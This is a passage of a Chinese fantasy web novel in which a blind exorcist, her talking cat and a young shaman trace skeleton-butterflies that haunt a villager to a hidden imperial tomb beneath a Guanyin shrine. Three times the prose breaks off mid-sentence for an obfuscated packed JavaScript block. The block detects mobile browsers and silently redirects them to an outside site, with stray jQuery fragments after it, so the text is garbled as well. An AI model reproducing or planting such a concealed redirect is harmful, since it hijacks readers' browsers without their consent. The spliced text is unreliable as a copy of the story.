她偏过头去快速抹了下脸。
"我喊了左邻右舍几个人来帮忙,谁曾想几个大男人都按不住他。这回与前几次都不同,厉害得很,童巫,你可一定要救救他!"
“婶子你别急。”童桐安抚她,“我这就随你去看看。”
“哎,哎。”李婶子连声应是,可眉宇间仍然愁云密布。几人随她走了段路,就听到前方院子里传来闹闹哄哄的声音,还有个异常尖利的男人叫喊,因为实在太含糊,听不清说的是什么。
“老刘,老刘!”李婶子急忙奔过去。
不大的小院里挤挤挨挨站了足有七八个人,最中间被七手八脚制住的是个中年男人,正面目狰狞地不断挣扎,大概就是李婶子那中邪的丈夫。旁边站着的人们身上多多少少都受了点伤,一个最严重的脸上好像被猫挠了似的,纵横足有□□道伤口。刚才那尖利不似人声的声音,就是中间这男人发出的,他眼珠暴凸,嘴唇嘬起来,看着天空,眼神惊恐。
离得近了,终于能隐约听清他到底在说些什么。
“蝴蝶,蝴蝶!”
君无岐和召南俱是一怔。
……是巧合吗?
不等一人一猫思考出来个什么结果,童桐已经率先快步赶了过去。她手拿法杖,口中不知念了些什么,忽然手指前方,厉声大喊,“定!”
中年男人猛的一僵。
随即直挺挺地倒了下去。
“我已暂时控制住他,但治标不治本,还是得先找到到底是什么东西让他中邪了才行。”童桐严肃道,“你这几日可有见到什么异常?”
李婶子看到自己丈夫终于平静下来,又惊又喜,擦着额头上的汗道,“我不记得有见过什么异常啊?”
“一定有什么。”童桐笃定道,“你好好想想。”
李婶子皱眉苦思。
“说起来,昨夜他与我们喝酒时倒是提起。”旁边一个男人迟疑道,“他说他最近背不舒服,老是凉飕飕的,感觉好像着凉了。”
“着凉了?”童桐一愣,“这个……”
她刚想让男人再想想别的,余光瞥见君无岐带着猫,径直进了内堂。
“哎?”她急忙跟上。
君无岐直奔两人卧房。
这两口子睡的是最普通的架子床,床下堆了些箱箧之类杂物,床上因为天冷,还铺着厚被褥,垫子从床铺边缘垂了些下去。她看都没看其他地方,直接一把捞起垫子。
召南从她肩膀上跳下来,向里探头看了一眼。
“中间是空的。”它小声说。
只见床下并非堆得满满当当,而是仅有四周有东西,紧紧挨在一起,唯独中间空出一块,条形,狭长,就好像……曾有个人躺在那里似的。
君无岐回头问,“你们二人晚上睡觉时,谁躺在外面?”
李婶子正满目惊疑地向里看,听到问题想也不想地回答,“自然是我家老刘。”
君无岐缓缓放下垫子。
不用她说童桐已看出了异样——那个人形大小的空间,就靠在外侧!
“可、可我每天晚上睡觉之前都要好好检查一下屋里,如果有人进来的话,我不可能没发现!”李婶子悚然道,“况且我们一无家财而无仇怨,谁想要这么害我们?”
君无岐抬起脸。
“未必是人。”
她缓缓道。
一屋子人都被这句话吓住了。
“大仙,大仙,求求你救救我们!”李婶子眼泪都要出来了,扑通一声跪下去拉她的衣摆,“我们、我们都是好人呐,从来没有害过人!求求你救救我们!”
君无岐急忙把她搀起来。
“现在,我问一句,你答一句,不要隐瞒,也不要撒谎。”她肃容道。
李婶子忙不迭地点头。
“第一个问题。”君无岐竖起根手指,“你丈夫是否去过山上坟地?”
李婶子一怔。
“这、这自然是去过的,他父母就葬在那里。”她慌忙答道,“我们时常去那里祭拜,可、可为何只有他出了事呢?”
君无岐摇摇头,竖起第二根手指。
“他是不是去过那座供观音的小庙?”
李婶子浑身一震。
“是,是有这么回事!”她答道,“但他只是进去祭拜呀,旁的什么都没做。”
君无岐竖起第三根手指。
“他自己进去的吗?”
李婶子骤然沉默了。
过了好一会她才艰难回答,“是……”
君无岐放下手。
“大仙,这是什么意思啊大仙?老刘他还有救吗?”李婶子慌忙拉她袖子,“老刘他就是莽撞了些,但并不是个坏人啊!这么些年来左右邻居都能证明,他心不坏的!”
旁边的邻居也七嘴八舌地帮起腔来。
“若我没有猜错,此事与他坏不坏并无关联。而是冒犯了某些存在。”君无岐道,“也罢,帮人帮到底。今天晚上我与童桐就在此处,看看究竟是什么东西在搞鬼。”
李婶子千恩万谢。
君无岐与童桐回去的路上,一直若有所思。
“大仙。”童桐先憋不住了,小心翼翼地问,“你……你会不会看不起我呀?”
“嗯?”君无岐回过神来,“为什么这么问?”
“其实我的巫术是跟我姥姥学的,因为她走得早,我也就学成了个半吊子。其实我娘更厉害,但她前些日子走了,再也没回来。”童桐很沮丧,“结果也就只能帮村里人看看普通的小麻烦,勉强糊口,对于真正的妖怪鬼物一点办法都没有。”
这君无岐倒是早就看出来了。
“若我没有认错,你走的应当是萨满那一派。”她宽容道,“这一支讲究与天地沟通,实际上更看个人悟性。别怕,只要潜心去做,总能有所成果。”
“真的吗?”童桐惊喜万分,“我,我也曾想过是否还要坚持下去,也许能去城中混口饭吃……”
君无岐蒙着眼纱的面孔静静对着她。
“怎、怎么了?”童桐紧张起来,“我说的哪里不对吗?”
“不,你说的很对。”君无岐道,“萨满这一支传承不下去,也正是因为如此,过于看重个人悟性,以至于前者对后者根本没有足够的经验可传授,凡事都要靠感觉。因此
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14913451|157397||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
许多人都没办法在这一道上长久走下去,日子一长,便去做其他行业了。”
“原来是这样,难怪姥姥不想让我学。”童桐踢了脚路边小石头,“我会好好想想的,多谢大仙。”
君无岐便含笑颔首。
其实她还有些话没有讲完。
她在童桐身上,看到了一点绿色的巫血。
说不定这孩子未来真的会有所成就。
这个小村庄靠近山脉,水气颇重,天还没黑时就朦朦胧胧起了一层纱似的雾,从山下眺望远方,只能看到一大片雪中石堆似的树林。有两只乌鸦不知道从哪里飞来,站在树上呱啦呱啦叫个不停,令人心浮气躁。
李婶子家早早就熄了灯。
天黑的甚至有些过了,站在屋外,抬手都看不到自己手指。
四下无人,万籁俱寂。
一只蝴蝶轻飘飘地飞起来。
没有人看到它是从哪里出来的,只看到这蝴蝶异常的大而华美,翅膀上闪烁着莹莹蓝光,飞行时甚至有一串星点拖尾。它翩翩飞舞着,在李婶子家门前盘旋数周,随后不紧不慢地穿过门缝,那姿态甚至能称得上一句优雅。
房子的主人已经睡下,只有卧室床上隆起两个鼓包。那蝴蝶便一路轻盈飞动着,慢慢来到床前。
床上寂静无声。
蝴蝶在床上绕了几圈,似乎是在确认是否真的睡着。几息之后它慢悠悠地飞到床侧,嗖一下钻到里面不见了。
没过一会儿,房中忽然传出轻轻的吹气声。
一下,一下。
床上的鼓起很轻微动了一下。
床下之物一无所觉,还在兢兢业业地吹气,丝毫没有停歇。
黑暗之中,君无岐抽出张符。
“日出东方,黑庶腾腾。千人万人,眼黑错错,左边龙蟠,右边虎文。急急如律令!”
她嘴皮子翻得比变戏法的还快,那妖物还未反应过来,已经被符生生定住!
“抓住了。”她笑道,“那便来看看你的真身!”
童桐挤在她旁边,又是好奇,又是害怕,小心翼翼地伸手掀开床单。
床下赫然是具泛着蓝光的骷髅!
这骨头架子也不知道来自哪位倒霉蛋,浑身上下一点皮肉也无,两个黑洞洞的眼眶直愣愣盯着外面,上下颌之间仅有两三颗牙孤零零地晃荡,令人生怕多动两下就会掉下来。召南这个胆子比针尖还小的家伙早就躲到了君无岐身后,倒是童桐,很是兴奋地伸手要去碰。
“别摸。”君无岐眼瞎手快地阻止了她,“这东西没什么攻击性,但被人为施加了咒,小心中招。”
童桐很听话地收手。
“大仙,我们下一步怎么办?”她压低了声音,但不掩兴奋,“要敲碎它吗?”
君无岐没想到她的解决办法如此直接且激进,默然片刻才回答,“……不,我们放了它,跟着它去看看到底是什么人在操纵。”
她翻身下床。
这骨头架子也不知道到底有没有意识,全身上下抖个不停,几乎要把自己抖散架。君无岐伸手摘了定身符,它还在原地趴了一会才迟疑地爬起来,重新化为蝴蝶。
蝴蝶没有半分停顿,直接就向外面飞去。
“走。”君无岐低声道,“我们跟上去。”
44. 观音颅(三)
蝴蝶果不其然是往山上飞的。
它的路线极其单一,几乎成一条直线,直奔山上坟地。君无岐和童桐在后面跟得颇为辛苦,深一脚浅一脚,差点迷失在山林之中,好不容易才一路跟上它。
蝴蝶扑进小庙中。
君无岐紧随其后,毫不犹豫地一把将门推开!
庙里空空荡荡。
观音仍立于莲台之上,眼唇带笑,垂目低头。一根柳枝从她持的玉瓶中伸出来,柔软垂下,似乎还会随风飘荡。君无岐缓缓走到她面前,抬起头。
她们像是在对视。
童桐在一旁看的心惊胆战,鼓足勇气开口,“大、大仙,有什么问题吗?”
没有问题。但正因为没有问题所以才越显诡异。
召南趴在她肩上,上半个身子立起来,左闻闻右嗅嗅,猫脸上泛起一丝疑惑。
“我闻到了奇怪的气味。”它说,“好像很近,又好像很遥远……怎么回事?”
君无岐拍拍它。
“问题恐怕不在这座观音像上。”她淡淡道,“而在下面。”
两人一猫都将目光转到莲台下。
君无岐目中看不见石台,但有细碎淡蓝光点闪烁,大约就是那蝴蝶。童桐从袖子中掏出什么,唰一下抖开点燃,庙中瞬间亮堂起来,竟是个火折子。
她蹲下身细细观察,终于在莲台下方找到一处极其不明显的擦痕。
“这里有痕迹,神像能动!”她兴奋道,“还有条缝隙,有风。”
她刚想把手放上去,随即又烫到了似的缩回来。
“那只蝴蝶一定就是从这里飞进去的吧?”她的眼眸照耀出摇曳的金色火苗,“我们要不要下去看看?”
“这神像这么重,单靠我们仨怎么搬开。”召南跳到地上,探头探脑,“是不是像话本里说的那样,得有个机关?”
“猫咪也爱听话本啊。”童桐面露惊奇,“可机关会在哪呢?”
一人一猫便在莲台周边四处搜索,可这神像刀工朴拙,线条简单,哪里都不像是有机关的样子,到头来反倒累得她俩不住喘气。
“没看到啊,要不还是找人来把雕像搬开?”童桐沮丧道,“可这庙已经在此处很多年了,若是贸然要搬,恐怕大伙都不肯帮忙呢。”
君无岐上前几步,轻轻摸了下观音石身。
神像仍然如故,微笑着望着她。
“昨夜我们夜宿此处时,那蝴蝶飞出来却是绕着观音像盘旋。”她说,“这上面有什么东西吸引它们吗?”
童桐和召南跟着一并看向观音上半身。
“说起来,这玉瓶雕刻得有些奇怪。”童桐道,“一般观音手里拿的瓶子都那么精美吗?”
的确,这尊像整体风格十分质朴,唯独手中那只玉瓶异常精致,不仅有浪花卷纹,甚至瓶身上还有一副缩小的观音授课图,座下龙女和善财童子正在凝神听经,笔触优美,与整体不似出自一人之手。
童桐踮起脚尖,试探着拉了下玉瓶。
纹丝不动。
“呃……”童桐有些尴尬,“看来是我想错了……”
“不。”君无岐出言道,“你没想错,只是位置不对。”
她循着蝴蝶留下的淡蓝痕迹,拉起瓶中柳枝。
刹那间整座小庙都开始剧烈晃动。
隆隆轰响在耳中回荡,激得在场之人都忍不住皱起眉。庙中观音像发出刺耳至极的刺啦声,缓慢转了半圈,露出莲台下一个黑乎乎的洞口。
这洞口大小足够一个人走下去,其中还垒了石梯,只是黑得很,什么都看不清。
童桐拿起火折子,往下照了照。
“好深啊。”她惊叹道,“我们下去看看?”
“走。”
童桐打头,君无岐在后,还扛着只召南,两人一猫缓缓走下石梯。
头顶上观音像缓缓回复原位,童桐小心翼翼地往前走,只感觉自己一路向下。走了大概一刻钟才接触到平整的地面。她擦掉额头上的冷汗,举高火折子,愕然发现这里似乎是个地下寝殿。
这是文雅点的说法,说白了就是,坟。
一座华美异常的陵墓。
墙上有壁画,绘的是一幅术师驱百妖图,众妖鬼表情姿态各异,颜色缤纷华彩,笔触生动,栩栩如生,一看就与观音像玉瓶上讲经图为同一作者。童桐禁不住张大嘴,震撼地扫视过整幅壁画。
“还在闪着光呢!”召南情不自禁地前伸脑袋,看向那闪烁着璀璨光点的苍穹,“这、这是用的金子吗?”
“我的天。”童桐忍不住伸手轻轻碰了一下,“这要花多少钱啊?这里面埋的得是什么人?”
无人可以回答,只有画上的百妖作出种种怪异之态。
君无岐看不到壁画,但看到了众多蓝色光点汇聚在一处,正在不远的地方。她迈开步子,走向那边。
“等等我!”召南立刻跟上,“你看到什么了?”
君无岐稍一侧肩,猫熟练地跳了上去。她道,“蝴蝶。”
“蝴蝶?”召南一愣。
它本想接着问,但很快就无此需要,因为它已经看到了。
一汪蝴蝶。
空旷辽阔的大厅里四角矗立着数根巨柱,每根上面都镌刻着千姿百态的妖怪,光是童桐认识的就有帝江、毕方、应龙、九婴等,各个活灵活现,纤毫毕露。而在这些巨柱中央的地面上沉下去一湾小池,里面堆积的全是蝴蝶,如同波浪般不断起伏,折射出淡蓝色水波般的粼粼辉光。
童桐和召南,“哇……”
整座大厅如梦似幻,到处都装饰着黄金、宝石、珠玉,其富贵程度足以闪瞎人眼,但比这些东西更为吸引注意的,还是摆在拱形门楣之下的那具棺材。这棺材有身无盖,通体翠青色,竟然是由一大块玉石雕琢而成——更不用说玉石上堆满的各色珍宝,珍珠在其中都只能算作普通,更多的则是妖骨、鬼牙之类有钱都买不到的东西,甚至还精心雕刻成了各种造型。
棺中有人。
这大概就是操纵蝴蝶变化骷髅吹气的幕后之人了,童桐靠过去时十分谨慎,万幸是一直没有什么动静——直到她看到了棺中人的脸。
她愕然抬头,猛地看向君无岐。
棺中躺着名女子。
她满鬓珠翠,华服如云,一张脸生的琼华玉貌,方桃譬李,比大师笔下的工笔仕女图更为鲜妍,两眉弯似天山月,琼鼻一点净如雪,眼尾微垂,唇角轻勾,只令人可惜怎么在沉睡,无从看到她的眼睛。
但,美貌并不是吸引童桐注意力的理由。
“大仙,”她惊愕道,“我怎么觉得,她与你有几分相似?”
话已出口她才想起,君无岐看不到。
她大着胆子左右打量几遍,渐渐咂摸出味来——棺中人固然美貌绝伦,可与君无岐比起,总是差着那么两三分。这两三分可能是因为她唇色过红,或者鼻唇组合不够协调,也可能是因为她下颌的线条并没有那么流畅,总之,若她们二人站在同一处,被第一眼看到的绝对不会是棺中人。
“哈哈,可能是巧合吧。”童桐干笑,“大仙,是我失言……”
“唰啦啦。”
不知从什么时候起,
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14918937|157397||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
厅中聚集的蝴蝶悄然飞了过来,群体齐聚在棺木上空,组合成一个巨大的圆圈。它们飞行时落下的光点簌簌飘荡,缓缓落在棺中人身上,竟然肉眼可见地渗了进去。
童桐猛地捂住嘴。
棺中人睁开了眼睛。
她生着一双沉静的黑色眼眸。
童桐悚然一惊,下意识往后一仰,就见那棺中人一拍棺壁,刷地站了起来。
蓝蝶海浪般前仆后继地飞来,在她手中汇聚成一大片。棺中人眼带杀气,手臂一扬,蓝蝶劈头盖脸朝她们砸去。
“我天,好暴躁!”
童桐身法敏捷躲过蝶浪,刚想去拉君无岐,一回头就看见她带着猫已经躲到了大厅边角。她心中生出些无语的情绪,听到脑后呼的起了风声,赶紧就地打滚避开,躲在柱子后面。
蓝蝶落地变化,生成一具具姿态各异的骷髅,不仅有她们之前在李婶子家见到的人形状,还有野兽、飞鸟以及各种妖怪的骨头模样,也不知道都是从哪里收集来的。
棺中人身上穿着广袖流仙裙,衣摆和袖口都极其宽大飘逸,恍然如天上人。她从棺材中出来,手足运动还略显僵硬,但控制骨头架子打人却一点不含糊。童桐本身也不擅长搏斗,基本上只有抱头鼠窜的份。她嘴里发苦,寻了个间隙抬头找君无岐,那里却空空荡荡,看不到人。
是不是有点太无情了……
念头刚生出,就听到“嘭”的一声,所有骷髅都不约而同地停下了动作。
她大着胆子,探出脑袋。
棺中人直挺挺地站在大厅中央。
“有点意思,我本以为你是机关之术操控的傀儡,结果不是。”这两天已经听熟的声音从她背后响起,“你的脸是用偃门绝学‘生塑’改过的?挺厉害嘛。”
棺中人面色愤怒至极,却丝毫不敢动作,只因她脑后几根细细的丝线正被人挑了起来,随时都会崩断,那是维持她这张脸的最大依仗。
君无岐就在她背后,两人贴的很近,只有这样她才能精准至极地挑出那几根细丝。
这到底是什么人?怎么会一眼看出“生塑”?
“我二人为追查夜半骷髅扰人之事来到此处,本无意与你为难,结果你这人倒好,上来就动手。”君无岐闲闲道,“不过这样也好,省的我不忍心动手。先说说吧,为什么放出蝴蝶变成骷髅去害人?”
棺中人一对眼珠偏了偏,小心翼翼启唇,“非我……本意。”
“非你本意?这里面还有什么误会不成?”君无岐挑眉,“说来听听。”
棺中人没立刻答话,似在权衡。
君无岐二话不说,指尖用力。
“……别!”棺中人憋屈道,“蝴蝶!”
君无岐稍稍偏了下头。
“蝴蝶?”她自语,“难道说,这并不是你驱使的?”
棺中人从喉咙里发出一声闷闷的“嗯”。
“这可太有意思了。”君无岐道,“这不是你的坟,蝴蝶也不是你的,那么你到底是谁?”
童桐见棺中人被制住,立马胆子壮了,眼带好奇地走过来。
这两人一前一后站着,那种怪异的相似越发明显,简直像是一个娘胎出来的。但鉴于棺中人的脸被改造过,那她究竟为何要变成这般模样,便很值得深思。
她看看她,又看看她。
“像,真的好像。”她惊叹道,“真是精妙绝伦的技术,怎么能做到这么像的?”
“什……么?”棺中人大骇,“我和……她像?”
她瞳孔骤缩。
“可……她不是……死了?”
45. 观音颅(四)
“到底谁在外面到处造谣我死了。”君无岐面无表情地说。
她松开了辖制,棺中人急忙一步离她三尺远,坚决不再靠近。她神情有些讪讪,毕竟就是她当着人家面说人家死了,赶忙转移话题,“我叫谷菱儿,那些蝴蝶夜半害人真不是我有心操纵的,是因为这些东西本就靠精气为生,又生性记仇,定是那人进庙时冲撞了它们,被它们记住了。”
“那方才我们进来时,你怎么能驱使它们攻击我们?”童桐问道。
谷菱儿闻言神色苦涩,摸了摸自己的脸。
“那自然是因为……我如今体质特殊。”她道,“我本是一农家出身的普通人,因家贫父亲将我卖掉,后来又因为长相被人看中,问我肯不肯接受‘生塑’秘法改造。”
说到这里时她偷偷瞟了眼君无岐,见她没什么反应才继续道,“我那时只道听话能有饭吃,便毫不犹豫地应了,谁道这秘法不仅仅是改变人的容貌,甚至日积月累□□质也有所变化。我变得畏光、少动、喜阴冷,甚至体温都变得比常人更低,若想如常活动,只能依凭这些蝴蝶,吸引别的活物精气渡到身上。大约是与它们接触多了,有些时候我也能让它们做些事情。”
君无岐不置可否,看不出态度。她那只猫也紧紧贴着她,没有出声。只有童桐仍追问道,“那你为什么又住在这座墓中呢?”
谷菱儿心中暗恼君无岐不上套,但问题又不能不回答,仓促敷衍道,“自然是因为我已不适合住在地面上了,正好偶然发现这里有座坟墓,便搬了进来。”
君无岐袖着手,没有对她说的话作出任何反应,问道,“你可知道怎么出去?”
“那自然是知道的。”谷菱儿勉强笑道,“这边,你们跟我来。”
她扬手招来些蝴蝶围绕着作为照明,带路往前走。
这座陵墓出乎人预料得大,穹顶足有丈高,每一处都极尽精心,墙面更是绘满壁画,足见建造之人的心血。墓道宽阔能跑马,砖地砌得密密实实,不见一点异物脏污,唯有空气略有沉闷。童桐一开始还很兴奋地左右看看,后面渐渐也拖沓起来。
“几点了啊?我好困……”她打了个哈欠,“还有多久啊?”
“快了,前面再拐个弯就能出去。”谷菱儿说道,“姑娘若实在是困,可以先歇一晚再走也不迟。”
“什么?真的吗?”童桐眨掉眼角泪花,“哪里可以睡觉?大仙,要不我们就睡一晚再走吧?”
君无岐唇角绷得很直。
“不要闭眼。”她声音沉下来,“你若是睡着,怕是就再也睁不开眼了。”
话语落,她已经出手!
竹杖如电如蛇,猛地袭向谷菱儿背心。她仿佛背后长了眼睛一般避开,整个身体柔软得不可思议,轻飘飘飞向后方,语气复杂。
“你是怎么发现不对劲的?”
“你这瞎话一听就是现编的。”君无岐冷笑,“第一,‘生塑’不会改变人的体质,我既能一眼认出,你又怎么会觉得我不知道它的特性?第二,这陵墓太过干净,装饰得如此富丽堂皇,又怎会不做些防盗措施?既然你能在这里来去自如,那想必你一定认识墓的主人罢!”
谷菱儿暗自后悔竟在如此明显的地方露了破绽,便也不再装和气,袖中甩出大片白色茧状物,落地即破,从中飞出大片蓝蝶,当头向她们袭来。
君无岐二话不说,提着童桐的领子就跑,“走!”
童桐跟着她动作飞快地倒腾着腿。
“大、大仙!”她上气不接下气,“我们、要去、哪?”
君无岐向后一扫竹杖,带出的风唰啦啦刮跑一片,但还是有少许蝴蝶锲而不舍地跟在后面。召南趴她身上绷紧身体,脑袋不住转动,看到某处时眼睛一亮,“那边!你前方右上,有条道!”
她二话不说就往那边跑去。
这墓中的机关果然都提前被谷菱儿解决了,两人一猫一踏上墓道就听到呼呼风声,紧接着就是热浪扑面。千钧一发之际君无岐的反应几乎快到毫巅,毫不犹豫地按着童桐脑袋一把把她按在地上,滚滚火龙自她们头顶呼啸而过,燎焦了她的衣袖,若非她动作快,现在趴在这里的恐怕就只有两个焦尸。
童桐吓得眼泪差点飚出来,“好、好险……”
"别停!"君无岐低喊,“跑!”
她话音刚落,就听地面砖石下传出机关倾轧时的吱嘎声,童桐不敢大意,只得使出吃奶的力气,拼命往前跑,几乎是鞋底刚刚离开地面,地砖隆隆向两侧收起,地下矛枪如林,尖端闪着烁烁寒光。
她连滚带爬地冲出墓道。
“呜哇!”两人一猫重重摔在地上。
“太吓人了,我从来不知道附近山上还藏着这么一个地方。”童桐呈大字状躺着,热泪盈眶,“多谢大仙,要不然我今日必死无疑。”
君无岐正侧耳倾听着什么,闻言脸色淡淡,“无事,你也听一听,是不是有什么动静?”
童桐一骨碌爬起来。
她屏气凝神,努力捕捉墓穴中的其他动静,眉毛都要打结,“我怎么觉得,像是什么动物?”
“不管是什么东西,能出现在这里必定对我们有害无益。”君无岐下了决定,“走。”
童桐气还没喘匀就要再度出发,但毫无怨言,当即跟上君无岐,“大仙,你知道要往哪个方向去吗?”
“安坟定陵时的风水大抵都差不多,猜也能知道怎么设置。”君无岐一心二用,左手正掐诀默算,一边回答她的问题,“这边是耳室,原本在棺材里的应当是陪葬,但不知为何没有安排,只意思意思放了口空棺,因此让谷菱儿钻了空子。我们去主墓室看看,兴许有办法能出去。”
召南站她肩上,深深嗅了几下。
“有股不太好的气味。”它道,“你还记得照虹山里那些黑乌鸦吗?和他们身上那股臭味很像。”
君无岐手一停。
“德陵距离润西虽不远亦不近,杨家来这里做什么?挖坟盗墓?”她拧起眉,“还是说不是杨家,是与他们有关的另一伙人?”
“别管那么多了,先走要紧。”召南急道,“我有点头晕,你小心!”
君无岐便不再说话,一把把猫捞进竹筐,大步向前走。
童桐跟在她身后,很知情知趣地没有多问,只是警惕地环视四周。这条墓道虽不及刚刚那条高大气派,但仍然规格不低,足够三四个人并排而行,两侧墙壁用银和兽骨绘制图画作为装饰。看得久了,她蓦然眼前一花。
君无岐一把捞住她,“你怎么了?”
“我、我眼睛好疼……”童桐以手覆面,滚滚泪水从指缝中落下,“这壁画有古怪……”
君无岐尚来不及追问她状况如何,忽听重重喘息从身后传来,间或夹杂蹄音,想必是陵中游荡的镇墓兽追来了。她二话不说架起童桐手臂,竹杖点地快得像落雨,“我们走!”
童桐努力移开点自己的重量,不敢随意出声干扰君无岐判断,在心里默默捕捉镇
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14926897|157397||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
墓兽的声音。只是那东西不知是作何打算,居然渐渐没了声息。
是觉得自己没有胜算?她胡思乱想。
君无岐一路飞奔。
她对墓主人的身份已经有了些猜想,只是还不敢完全肯定。顺着这墓道走了约有一炷香时间,她猝然停下脚步。
“难怪不追了,原来这里等我们。”她从鼻腔中哼出声冷笑,“还挺聪明。”
前方墓道与主室相连之处,赫然等待着一只镇墓兽。
这家伙长相极其奇特,有对鹿角似的长角,只是相较而言更加锋利尖锐,身体似犀牛,脊背平整开阔,生着九只蹄子,正在交错敲击地面,带起薄薄灰尘。它没有眼睛,只有一对和羚羊一样的耳朵垂在头颅两侧,灵活地转动着。
召南在竹筐中发出痛苦的碎音。
看来并不像她猜的那样是杨家来了人,而是这东西身上用了和杨家死士一样的药。
摩尼教?还是其他人?
君无岐掂了掂手中竹杖。
目前我方人员三个,已经废了一个半,并不适宜缠斗,最好还是速战速决。
她在心中计较着,率先出手!
这一下来势汹汹,丝毫没有保留。
镇墓兽仰天无声怒吼,三只前蹄重重刨了下地面,低头朝她冲来!
这一下若是顶瓷实了,只怕她就成了串。
君无岐拎起童桐领子,竹杖在地上一支,人已经飞上了墙。她手臂上肌肉隆起,童桐整个人都被平平带起来,险之又险地从镇墓兽两只大角上飞过,衣角险些被刮破。君无岐听声辨位的本事已臻化境,借着惯性在墙上跑了几步,察觉到镇墓兽已经过去,便毫不犹豫地放开了手。
童桐灰头土脸地在地上滚了几圈。
她没吱声,强忍眼中疼痛睁开条缝,冲到柱子后面躲了起来。
镇墓兽一击不中,腾腾腾跑出去好几步远,急刹停下,回头。
召南在昏头晕脑中不忘吐槽,“这就是瞎子之间的对决吗……”
君无岐,“……”
有时候她真的很想把这猫扔出去。
镇墓兽在原地甩了甩头。
“哞——”
它发出和牛一样的,低沉的吼声。
君无岐敏锐地察觉到它似乎有意在控制音量。
心念电转,她手中无声掐了个诀。
“急急如律令!”
半空霹雳骤然炸响,吓得镇墓兽原地一跳,九个蹄子步伐都乱了。它惊恐地摆动着脑袋,却有细小血点从耳中飞出,甩溅在石砖上。耳中捕捉不到声音对它来说显然是常事,很快它便镇定下来,好似什么都没发生一样,径直走开了。
童桐的眼睛恢复了些许,她眯着眼,视线模糊中捕捉到了这一幕,压低声音小声问道,“大仙,这是怎么了?那到底是个什么?”
“它叫土伯,以土为生。这东西常年生活在安静的墓穴中,对声音极度敏感,这是被雷声震聋了。”君无岐解释,“但恐怕只是暂时,它过不了多长时间就会恢复,我们得趁早离开这里。”
她摸索着童桐的眼睛,念了几遍祝由术。
童桐顿觉舒服了许多,虽然视力仍未全好,但也暂时够用。她揉了下脸,引着君无岐往主墓室的方向走。
此刻她们处于过渡阶段中的小厅里,前方是座紧紧闭起的石门,两侧有雕像守护。童桐细细打量过这两座雕像,疑惑道。
“这里怎么会是两尊观音?”
46. 观音颅(五)
又是观音。
观音守墓,简直是亘古未有之事。且先不说观音有没有这项职能,单说守门时也没有可劲选着一人薅的。从古至今和门有关的神灵,哪个不是成双结对?
童桐深深吸了口气。
“而且……”她语气中有几分恐惧,“她们都没有头。”
这是两具无头观音。
君无岐严肃道,“你且细看,是雕刻时便没有头颅,还是后期被人为取下了?”
童桐踮起脚尖,仔细观察她们的肩上。
“是后面被人取走的。”她肯定道,“切口不太平整,有断茬。”
君无岐若有所思。
“先不管这些了。”她道,“看看有没有机关能开门?”
一刻钟后。
生龙活虎的召南从竹筐里爬出来,惊觉两个人正一筹莫展地蹲在地上,好像完全失去了生活的希望。它爬到君无岐背上,若是往常她肯定就把它摘下来放怀里揉了,可现在竟然毫无反应。
它大惊失色,“你们怎么了?中邪了?”
“啊,猫咪醒了。”童桐有气无力道,“我们正在研究怎么开门呢。”
召南看向塑像。
这两座雕像风格和地上小庙里那座一致,都是走的古拙自然路线,线条柔润,只是手中没有玉瓶,而是莲花。莲花花瓣半阖,层层叠叠,极富美感,好似会随时坠下一片似的。
它看了半天,问,“没试试拉莲花?”
“试过了,没有反应。”童桐颓丧道,“所有能碰的地方都碰过了,好像根本就没有机关。也是,这是人家陵墓,肯定不想让人打扰,都把门口浇筑死了吧。”
“这倒是未必。”君无岐道,“若真是不想让人进来,怎么会留一条小庙中的暗道?”
童桐一怔。
“是啊,为什么要修条暗道?”她迷惑不解,“难道是怕墓主忽然活了,没有地方出去?”
君无岐摇摇头。
“那条暗道只能进不能出,若非如此我们又怎会被困在这里。”她说,“我倒是觉得,那是修陵之人给自己留的。”
“给自己留下墓的道路?”童桐大骇,“怎么这么想不开?常人不都是能躲则躲?”
君无岐轻笑。
“我先问你。”她说,“你觉得修陵之人是什么样的?”
童桐认真思考起来。
“肯定很有钱。”她道,“看看这用的金子宝石,还有玉器,一般人哪能拿得出来?”
“说的对。”君无岐拊掌,“除此之外呢?”
“嗯……还得有权有势。”童桐冥思苦想,“这么大的陵墓,当时修起来一定很耗费人力物力,只有富没有钱,也是不行的吧!”
君无岐谆谆善诱,“那你觉得谁最符合这些条件?”
“那当然是皇上了!”童桐想也不想地回答,意识到自己说了什么后骇然瞪大眼睛,“不,等等,皇上?”
“若不是皇帝陛下,最少也得是个亲王宗室。”君无岐站起来,背着手,“若非如此,怎能修出如此气派的陵?”
“可、可……”童桐结巴了半天,惊恐地发现的确如此,“那为什么还要留进来的路,都是那样的大人物了!”
